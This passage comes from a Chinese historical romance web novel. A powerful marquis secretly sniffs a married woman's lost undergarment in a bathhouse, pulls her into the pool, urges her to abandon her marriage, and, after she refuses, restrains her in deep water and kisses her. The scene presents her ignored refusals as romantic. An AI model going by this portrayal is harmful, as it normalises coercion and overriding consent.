楚烬仰头望着她,眼底漾着爽朗笑意,示意道, “树顶的桃子日照最足,最为甘甜,苒娘伸手摘些,给孩子们做甜品。” 看着楚烬俊朗脸上的笑意,罗苒胸口心跳竟莫名漏了一拍。 树下两个小家伙仰着小脸,兴奋地连连拍手, “哇!娘亲好高!娘亲快摘!上面好多大大的桃子!我们用筐子接着!” 罗苒望着枝头饱满泛红的桃子,心头微动,犹豫片刻还是伸出了手。 不过片刻,两个孩子手中的小箩筐便装得满满当当。 摘够了桃子,楚烬缓缓将她放下。 怕她脚下不稳,掌心始终稳稳揽着她的腰,温热的触感透过衣料层层漫开。 两个小娃献宝似的给罗苒看摘满桃子的箩筐。 罗苒看着,也忍不住弯眸浅笑。 衍儿仰着稚嫩的小脸,懵懂眨着黑眸看着罗苒的脸,天真出声, “咦,娘的脸怎么和桃子一样红了?” 罗苒一怔,脸颊热度更甚。 夕阳渐斜,玩闹了一下午的两个孩子满身汗水。 楚烬便让人带他们去侯府浴堂沐浴。 侯府浴堂宽敞奢华,数座汤池错落有致,池水氤氲着温热的水汽,还专门设了浅池。 小玥与衍儿从未见过这般雅致奢华的浴堂,下水后玩得不亦乐乎。 罗苒费了好大的力气,才将两个疯玩的孩子按住清洗干净,一番折腾下来,自己的衣衫也被水汽溅得半湿。 她连忙让丫鬟将收拾妥当的孩子先带出去,自己匆匆冲洗片刻,换下湿透的衣衫后回了院落。 推开房门,便见楚烬正带着刚沐浴完毕的两个孩子在外间吃桃。 桌上还摆着数样新鲜制作的蜜桃甜品,清甜诱人。 两个孩子泡完温泉,小脸红彤彤香喷喷的,眉眼依旧灵动精神。 而楚烬依旧是下午摘桃的那身衣衫,领口还沾着细碎的桃叶,发丝微乱添了几分慵懒随性的烟火气。 第一卷 第124章 遗落的小衫,深嗅沉迷 罗苒看着这样的楚烬愈发不好意思。 一下午摘桃嬉戏,楚烬轮番抱着她和孩子,定然是出汗最多的那个。 可到头来,她们母子三人霸占浴堂许久,到让他这一个主人没办法沐浴换衣。 她歉意道,“侯爷,实在抱歉,我们耽搁太久,让你久等了。” 楚烬抬眸望向她,目光落在她身上。 她刚沐浴完毕,发尾半湿,湿漉漉的发丝贴在白皙颈侧,脸颊被温泉水汽蒸得粉润娇嫩,比桌上的蜜桃还要水润诱人,撩得人心头发热。 他压下眼底翻涌的情愫,声音温和淡然, “不必同我这般客气,孩子们玩了一日,也该累了,晚膳很快便送至,你们早些用膳歇息。” 小玥和衍儿确实疲惫不堪,用完晚膳便眼皮打架。 罗苒将两个孩子哄睡后,去清洗换下来的衣物,才发现自己的小衫竟然落在了浴堂之中。 贴身之物也不好遣别人去拿。 此时天色尚未彻底暗沉,浴堂离院落不远,罗苒便打算自己慢慢走过去取回。 日暮微凉,庭院寂静无人。 浴堂内点着几盏暖灯,灯火昏黄柔和,袅袅水雾萦绕不散,朦胧氤氲。 罗苒只当是侯府规制如此,各处都常设长明灯,未曾多想。 水雾缭绕间,汤池深处昏暗朦胧,看不真切。 罗苒走得缓慢脚步也轻,循着记忆慢慢走到池边,低头四处找寻,却始终不见那件贴身衣衫的踪影。 就在她疑惑之际,一道低沉嘶哑的男声,骤然在静谧的浴堂内响起,其间还夹杂着细碎的喘息声。 罗苒心头猛地一惊,下意识循着声响望去。 氤氲水雾之间,一具健硕的身躯倚在池边。 轮廓朦胧罗苒却还是认出了那是楚烬。 她万万没料到会这般巧正好撞见楚烬再此沐浴。 瞬间窘迫万分,只想趁着对方尚未察觉,悄悄抽身离去。 转身刹那,余光不经意扫过楚烬的动作,只见他手中攥着一方淡粉色布料,抵在鼻尖缓缓深嗅。 池水轻轻晃动,伴着他粗重的呼吸。 罗苒骤然明白过来对方的举动,脸颊瞬间烧得滚烫。 她慌忙往外走,却因惊慌失措弄出了细微的响动。 动静虽轻,还是被楚烬察觉。 “谁?” 他声音一沉,带着几分警惕。 罗苒哪敢应答,只沿着池边快步往外挪。 可脚踝伤势未愈,脚步根本快不起来。 楚烬见来人闭口不语,还意图悄然离开,心中顿时起了疑心。 下一瞬,罗苒身旁传来哗啦的水声。 一只温热有力的大手骤然扣住她的脚踝,用力一扯。 罗苒重心不稳,直直坠入温热的池水之中。 温泉水瞬间将她包围,她猝不及防呛进几口池水。 身子刚往下沉,就被楚烬攥住胳膊一把捞起,力道有些粗鲁。 脚下湿滑不稳,本能驱使下,罗苒紧紧攀住对方结实的臂膀。 “苒娘?” 看清来人面容,楚烬扣着她手臂的力道不自觉放缓。 “咳咳咳……” 罗苒捂着胸口连声咳嗽,好半晌才睁开眼。 水润的眼眸蒙起一层雾气,分不清是池水浸染,还是呛水逼出的泪水。 浑身衣衫尽数湿透,随手挽起的发髻松散开来,乌黑长发散乱垂落,几缕发丝黏在泛红的脸颊上,模样狼狈又惹人怜惜。 楚烬望着她这般模样,眸光沉了沉,喉结滚动低声道, “你怎么会来这里?” 罗苒好不容易平复下气息,垂着头不敢直视身前赤身的人, “我,我回来取落下的衣衫。” 目光下意识低垂,恰好瞥见楚烬掌心还握着那件贴身小衫。 明明做出这般轻浮举动的人是楚烬,此刻他却镇定自若。 反倒是罗苒自己,窘迫得无地自容,湿漉漉的睫毛都在轻颤, “我……不知道侯爷在此沐浴,贸然打扰了。” 楚烬将她这副慌乱无措的模样尽收眼底,也清楚她已然撞见方才一幕, 楚烬并没有被撞破的难堪,反而看着羞窘不已的罗苒,神色幽幽。 他抬手将手中轻薄的衣衫举起,低着声音问道, “你落下的,可是这件?” 绵软的衣物衬在宽大掌心里,愈发显得小巧纤薄。 罗苒脑海里不受控制浮现出方才他将衣衫凑近鼻尖深嗅,喉头滚动的模样。 被温泉水浸透的身躯控制不住轻颤了一颤,伸手去拿不是,不拿也不是。 迟疑之际,楚烬缓缓开口, “只是这件衣衫,怕是已经被我弄脏了。明日我吩咐成衣坊,给你送来几件新的可好?” 这番话语带着隐晦的撩拨,罗苒不敢细想,只红着脸低声道, “不,不用了……” 第一卷 第125章 他能肆意随心放纵自在,你为何不能? 微暗的灯火下,女人双耳红得透彻显眼。 罗苒只觉楚烬眸光幽深,落在自己身上的视线灼灼发烫。 眼下境况分外旖旎,一人通体赤裸,一人衣衫尽湿,二人身躯紧紧相贴。 稍一动弹,水中发丝便彼此缠绕,暧昧的气息在水雾里肆意蔓延。 “打扰侯爷沐浴,我即刻便离开……” 话音刚落,楚烬骤然回神,长臂倏然伸出,径直将正要抽身离去的罗苒拦腰拽回。 水波层层漾开,罗苒身形不稳,再度重重撞入他温热的怀中。 她慌乱无措,下意识抬手抵在他胸膛。 掌心触到紧实滚烫的肌理,温度竟比周遭的温泉池水还要炽热。 楚烬低低轻笑,胸腔随之微微震动,震得罗苒掌心发麻,心口也阵阵慌乱。 “都这般打扰了,苒娘怎会觉得可以全身而退?” 罗苒抬眸望去,只见楚烬眼底情愫愈发沉浓。 往昔二人也曾有过缱绻缠绵的时刻,她再清楚不过,这般神色代表着什么。 心知对方并非随口戏言,他是真的有这种打算…… 池水很热,楚烬的胸膛也很热。 可罗苒纤细的身子却止不住微微发颤。 她用力想要将人推开,几番挣扎皆是徒劳无功。 楚烬反倒低下头,鼻尖轻蹭过她泛红发烫的耳廓,而后缓缓往下滑去。 温热的呼吸拂过细腻颈间,罗苒慌乱的眼眶泛红,强撑着稳住心神,嗓音抖着, “侯爷,您不能这样……您先前明明许诺过……” “苒娘,分离这两年光景,你当真就没有片刻想起过我?” 低沉沙哑的嗓音贴着耳畔响起,饱含深切情愫。 罗苒下意识转头对视,两人脸庞相距极近,呼吸交缠在一起。 理智告诉她,此刻应当断然回绝。 可朦胧光线伴着氤氲水雾,楚烬那双微亮的眼眸深情的不像话。 看得她喉间一紧,什么话都说不出来了。 见她默然不语,楚烬轻声续道, “可我无时无刻,不在想你……” 说来也奇怪,明明相伴的时日并不算长久,你却早已深深烙印在我心底。” 楚烬目光缱绻缠绵,牢牢锁着她慌乱动容的眉眼,温热气息丝丝缕缕缠在她耳畔。 “这两年我日夜难安,走遍各处都下意识找寻你的身影……” “当初我虽然一直坚信你并未出事,可两年寻觅皆无音讯,我以为此生再无交集,万万没想还能再次将你留在身边……” 他掌心轻轻贴在她微凉的后腰,动作带着小心翼翼的贪恋,语气低哑蛊惑, “苒娘曾经也是真心喜爱过我的……往日那些温存缱绻,难道你真能尽数抛在脑后?” “可在我心中,那些一同共度的时光,早就刻进骨血里,任凭岁月流转,半分也未曾淡去。” 罗苒被他直白的话语搅得心绪大乱,一时间竟不知该如何斥责反驳。 楚烬的唇瓣几乎轻擦过她温热的鬓角,低沉嗓音裹着化不开的深情, “我知晓你如今早已嫁人,是旁人明媒正娶的娘子……” 话音微顿,带着不顾一切的执拗, “我不介意……” 罗苒心头巨震,抬眸看向他,眼神像在看一个彻头彻尾的疯子。 这般悖逆伦常,传出去足以落得浸猪笼下场的疯话,他竟说得坦然坦荡。 楚烬眼底深情浓烈而认真,全然是发自肺腑的恳切。 罗苒震惊得浑身僵硬,连挣扎都忘了,嗓音发颤, “侯爷,您,您定是喝醉了,才会说出这般荒唐胡话。” “这不是胡话。” 楚烬掌心轻轻摩挲着她纤细的腰侧,温热有力的手掌牢牢将她禁锢在怀中。 “你心性干净纯粹,温柔长情,一旦动心便是全心全意情深不渝。” 他话锋骤然沉下,话语间裹着浓浓的不平和疼惜, “可他呢?” “他身为你的夫君,却无心顾家,无心惜你护你与旁人暧昧纠缠,那般不管不顾,便是从未将你放在心上过……” “可偏偏你,却要被困在这婚姻里,束手束脚,日日委屈自持。” 水雾袅袅,将他的声线揉得愈发温柔蛊惑, “这对你,太不公平了。” “他能肆意随心放纵自在,你为何不能?” 楚烬深邃的眼眸牢牢锁住罗苒那双被水雾浸得湿漉漉的眸子,深情滚烫, “既然他负你欺你敷衍你……那你又为何不能顺着自己的本心活一次?” “不必为一段虚假的姻缘,困住自己的余生,委屈自己一世。” 罗苒心神震颤,只觉得此刻的楚烬是真的疯了。 第一卷 第126章 水深,苒娘可要攀好了 他是权倾朝野受人敬畏的永安侯,是站在云端之上的人,如今却罔顾身份体面,执意教唆她背弃婚约顺从私情。 更让她心绪翻涌的是他那句“我不介意”。 罗苒看着面前心绪翻涌不止。 他的言外之意,竟是甘愿放下一世英名甘愿屈身,去做那段姻缘里见不得光的第三者吗? 那可是楚烬啊…… 他本该睥睨众生万人仰望,如今却卑微至此,不问名分不求体面…… 罗苒心口轰鸣,纷乱的心绪彻底乱了分寸。 温热的水雾层层裹缠,暧昧的气息几乎要将她彻底吞没。 罗苒猛然回神,残存的理智狠狠拽住了她飘摇的心神。 不能再听下去,更不能再任由他这般蛊惑。 罗苒避开他灼人的目光,抵在他胸膛的手用了力, “侯爷,够了,你若继续这般,我现下便带着小玥衍儿离开……” 楚烬看着自己妥协至此,面前女人仍旧刻意躲闪的模样,眼底的深情尽数沉淀为化不开的占有欲。 这小娘子好不容易自投罗网一次,他哪里肯放。 软语攻心无用,温柔蛊惑无果。 那多余的言语便不必再说。 既然说不动,那他便用行动将人留下。 楚烬蓦地抬手,不由分说揽着罗苒,将她带往温泉池的深水区。 这汤池显然是依着他的身形打造,深水位置堪堪抵达他胸口。 可对罗苒来说,却足以淹没口鼻。 她被箍着腰身,脚尖探不到池底,整个人只能悬在水中,全靠他的手臂支撑。 浸了水的衣衫沉沉地往下坠,湿透的布料紧贴着肌肤,勾勒出纤细的腰线,也拽得她越发往下沉。 她水性本就不好,脚下一空的那瞬,心已然提到了嗓子眼。 莫不是自己连番拒绝惹恼了楚烬,他想淹死自己不成? 这个念头闪过脑海的瞬间,她慌乱地攥紧了他的臂膀,指甲几乎要嵌进他的皮肉里。 楚烬却似浑然不觉那点疼痛,顺势将她的手搭到自己颈间,低低笑了一声,嗓音在水汽中染上了几分慵懒的磁性, “水深,苒娘可要攀好了。” 说着,他竟松开了箍着她腰的手。 罗苒惊得倒吸一口气,身体猛地往下一坠,也顾不得什么矜持羞耻了,慌忙攀住他的脖颈。 两人的身体紧紧贴着,倒像是她主动投怀送抱一般。 水雾氤氲之间,她分明看见楚烬眼底掠过一丝得逞的笑意。 罗苒心里又恼又窘。 这男人外表看起来刚正严肃冷面无情,怎到了她这里,就有这么多弯弯绕绕的恶趣味? 她正想着,楚烬低头,便瞧见攀着自己的罗苒正用那双水润润的眼睛瞪他。 湿漉漉的睫毛微微颤着,脸颊被热气蒸得绯红,唇瓣在水汽的浸润下泛着水光,像刚剥开的桃子。 那双眸子氤氲着层层水汽,裹着羞恼嗔怨与几分无可奈何,撞得他心口骤然一颤。 未等思绪回笼,他已然俯身低头,稳稳覆上她湿润柔软的唇瓣。 罗苒没料到他会这般毫无征兆地吻下来,一时间大脑一片空白。 直至牙关被撬开,她才猛地一颤,像是从梦中惊醒。 她下意识地偏头想躲,顾不上会不会淹水,伸手去推他的肩。 楚烬却纹丝不动,顺势将她抵在池边,一手箍着她后脑勺热切地亲吻吮吸。 另一只手牢牢扣着她的腰,将她整个人困在自己与池壁之间,退无可退。 呼吸交缠,气息暧昧。 池水被两人的动作搅得轻轻荡漾,一圈圈波纹扩散开来。 楚烬这一吻急切又深入,舌尖描摹过她唇齿的每一寸轮廓,霸道缱绻。 像是要将两年的思念和压抑尽数倾注其中。 罗苒渐渐招架不住,指尖都在微微发抖。 被吻得晕头转向的她不得不承认,二人在这种事上实在合拍。 脑子越发迷糊,像是被温泉水泡软了所有理智。 一吻终了,两人皆气喘吁吁。 楚烬微微退开些许,额头抵着她的,鼻尖蹭着鼻尖。 他垂眸望着怀中人…… 罗苒双眼迷离,眼角泛着水光,只让人觉得又怜又爱。